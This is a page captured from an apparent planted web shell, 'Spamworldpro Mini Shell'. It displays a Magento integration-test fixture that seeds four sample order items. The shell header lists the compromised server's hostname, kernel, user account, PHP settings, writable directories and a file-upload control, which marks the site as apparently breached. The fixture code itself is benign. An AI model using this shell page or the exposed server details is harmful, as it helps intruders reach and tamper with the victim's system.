Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/integration/testsuite/Magento/Checkout/_files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/integration/testsuite/Magento/Checkout/_files/order_items.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

use Magento\Sales\Model\Order;
use Magento\TestFramework\Helper\Bootstrap;
use Magento\TestFramework\Workaround\Override\Fixture\Resolver;

Resolver::getInstance()->requireDataFixture('Magento/Checkout/_files/products.php');
Resolver::getInstance()->requireDataFixture('Magento/Checkout/_files/orders.php');

$objectManager = Bootstrap::getObjectManager();

$order = Bootstrap::getObjectManager()->create(Order::class);
$order1 = clone $order->loadByIncrementId('100000001');
$order2 = clone $order->loadByIncrementId('100000002');
$order3 = clone $order->loadByIncrementId('100000003');

/** @var  Magento\Catalog\Model\ProductRepository $productRepository */
$productRepository = $objectManager->create(Magento\Catalog\Model\ProductRepository::class);
$product1 = $productRepository->get('Simple Product 1 sku');
$product2 = $productRepository->get('Simple Product 2 sku');
$product3 = $productRepository->get('Simple Product 3 sku');
$product4 = $productRepository->get('Simple Product 4 sku');

//@codingStandardsIgnoreStart
$productOptionValue = '{"info_buyRequest":{"uenc":"aHR0cDovL21hZ2VudG90MjIubG9jYWwvdGVzdC5odG1s","product":"%s","qty":1}}';
//@codingStandardsIgnoreEnd

$orderItems = [
    [
        'item_id' => 1,
        'product_id' => $product1->getId(),
        'order_id' => $order1->getId(),
        'base_price' => 90,
        'price' => 90,
        'row_total' => 92,
        'product_type' => 'simple',
        'product_options' => sprintf($productOptionValue, $product1->getId())
    ],
    [
        'item_id' => 2,
        'product_id' => $product2->getId(),
        'base_price' => 100,
        'order_id' => $order2->getId(),
        'price' => 100,
        'row_total' => 102,
        'product_type' => 'simple',
        'product_options' => sprintf($productOptionValue, $product2->getId())
    ],
    [
        'item_id' => 3,
        'product_id' => $product3->getId(),
        'base_price' => 110,
        'order_id' => $order3->getId(),
        'price' => 110,
        'row_total' => 112,
        'product_type' => 'simple',
        'product_options' => sprintf($productOptionValue, $product3->getId())
    ],
    [
        'item_id' => 4,
        'product_id' => $product4->getId(),
        'base_price' => 123,
        'order_id' => $order3->getId(),
        'price' => 123,
        'row_total' => 126,
        'product_type' => 'simple',
        'product_options' => sprintf($productOptionValue, $product4->getId())
    ],
];

/** @var $orderItem \Magento\Sales\Model\Order\Item */
$orderItem = Bootstrap::getObjectManager()->create(
    \Magento\Sales\Model\Order\Item::class
);
foreach ($orderItems as $orderItemData) {
    $orderItem->isObjectNew(true);
    /** @var array $orderItemData */
    $orderItem
        ->setData($orderItemData)
        ->save();
}

Spamworldpro Mini